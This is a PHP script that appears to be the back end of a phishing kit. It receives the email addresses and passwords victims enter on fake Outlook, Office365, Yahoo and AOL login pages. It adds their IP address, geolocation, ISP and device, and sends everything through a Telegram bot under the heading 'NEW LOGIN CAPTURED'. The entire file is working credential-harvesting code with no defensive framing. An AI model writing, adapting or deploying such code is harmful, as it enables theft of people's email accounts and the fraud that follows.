<?php
ob_start(); // Start output buffering to prevent any output before redirect
include 'telegram.php';
session_start();

// Enhanced IP and location tracking function
function getLocationInfo($ip) {
    $location = "Unknown";
    $isp = "Unknown";
    
    try {
        $url = "http://ip-api.com/json/$ip";
        $response = @file_get_contents($url);
        
        if ($response !== false) {
            $data = json_decode($response, true);
            
            if (isset($data['status']) && $data['status'] === 'success') {
                $country = $data['country'] ?? 'Unknown';
                $region = $data['regionName'] ?? 'Unknown';
                $city = $data['city'] ?? 'Unknown';
                $zip = $data['zip'] ?? '';
                
                $location = "$region| $zip| $city";
                $isp = $data['isp'] ?? 'Unknown';
            }
        }
    } catch (Exception $e) {
        $location = "Unknown Location";
        $isp = "Unknown ISP";
    }
    
    return [
        'location' => $location,
        'isp' => $isp
    ];
}

// Function to get client IP
function get_client_ip() {
    $ipaddress = '';
    if (getenv('HTTP_CLIENT_IP'))
        $ipaddress = getenv('HTTP_CLIENT_IP');
    else if(getenv('HTTP_X_FORWARDED_FOR'))
        $ipaddress = getenv('HTTP_X_FORWARDED_FOR');
    else if(getenv('HTTP_X_FORWARDED'))
        $ipaddress = getenv('HTTP_X_FORWARDED');
    else if(getenv('HTTP_FORWARDED_FOR'))
        $ipaddress = getenv('HTTP_FORWARDED_FOR');
    else if(getenv('HTTP_FORWARDED'))
        $ipaddress = getenv('HTTP_FORWARDED');
    else if(getenv('REMOTE_ADDR'))
        $ipaddress = getenv('REMOTE_ADDR');
    else
        $ipaddress = 'UNKNOWN';
    return $ipaddress;
}

// Function to get OS and Browser info
function getOSBrowser() {
    $user_agent = $_SERVER['HTTP_USER_AGENT'];
    
    // Get OS
    $os = "Unknown OS";
    if (preg_match('/windows/i', $user_agent)) {
        $os = "Windows";
    } elseif (preg_match('/macintosh|mac os x/i', $user_agent)) {
        $os = "Mac OS";
    } elseif (preg_match('/linux/i', $user_agent)) {
        $os = "Linux";
    } elseif (preg_match('/android/i', $user_agent)) {
        $os = "Android";
    } elseif (preg_match('/iphone|ipad|ipod/i', $user_agent)) {
        $os = "iOS";
    }
    
    // Get Browser
    $browser = "Unknown Browser";
    if (preg_match('/chrome/i', $user_agent)) {
        $browser = "Chrome";
    } elseif (preg_match('/firefox/i', $user_agent)) {
        $browser = "Firefox";
    } elseif (preg_match('/safari/i', $user_agent)) {
        $browser = "Safari";
    } elseif (preg_match('/edge/i', $user_agent)) {
        $browser = "Edge";
    } elseif (preg_match('/opera/i', $user_agent)) {
        $browser = "Opera";
    }
    
    return "$os / $browser";
}

// Get IP and location info
$ip = get_client_ip();
$locationInfo = getLocationInfo($ip);
$location = $locationInfo['location'];
$isp = $locationInfo['isp'];
$os_browser = getOSBrowser();
$useragent = $_SERVER['HTTP_USER_AGENT'];
$current_time = date("H:i:s d/m/Y");

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $Id = $_POST['id'];
    $Email = $_POST['email_address'];
    $Password = $_POST['password'];

    $_SESSION['id'] = $Id;

    // Determine email service name
    $name = "Other mail";
    if($Id==1){
        $name = "Outlook";
    } elseif($Id==2){
        $name = "Office360";
    } elseif($Id==3){
        $name = "Yahoomail";
    } elseif($Id==4){
        $name = "AOL";
    } elseif($Id==5){
        $name = "Other mail";
    }

    // Beautiful organized message format
    $message = "Mailing 🌍, [" . date("d/m/Y g:i A") . "]\n";
    $message .= "🎯 *NEW LOGIN CAPTURED* 🎯\n";
    $message .= "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n\n";
    $message .= "📧 *EMAIL SERVICE:* `$name`\n";
    $message .= "👤 *EMAIL ADDRESS:* `$Email`\n";
    $message .= "🔐 *PASSWORD:* `$Password`\n\n";
    $message .= "🌐 *IP ADDRESS:* `$ip`\n";
    $message .= "🔗 *IP CHECK:* http://www.geoiptool.com/?IP=$ip\n\n";
    $message .= "📍 *LOCATION:* `$location`\n";
    $message .= "🏢 *ISP:* `$isp`\n\n";
    $message .= "⏰ *DATE/TIME:* `$current_time`\n";
    $message .= "💻 *DEVICE:* `$os_browser`\n\n";
    $message .= "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n";
    $message .= "✅ *STATUS:* Successfully Captured\n\n";
    $message .= "👨‍💻 @redirectmiddle";
    
    // Send to Telegram
    $mess = urlencode($message);
    $url = "https://api.telegram.org/bot".$botToken."/sendmessage?chat_id=".$id."&text=".$mess;
    
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    $response = curl_exec($curl);
    curl_close($curl);
    
    // Return JSON response for AJAX
    echo json_encode(['status' => 'success']);
} else {
    // Not a POST request
    echo json_encode(['status' => 'error', 'message' => 'Invalid request method']);
}
?>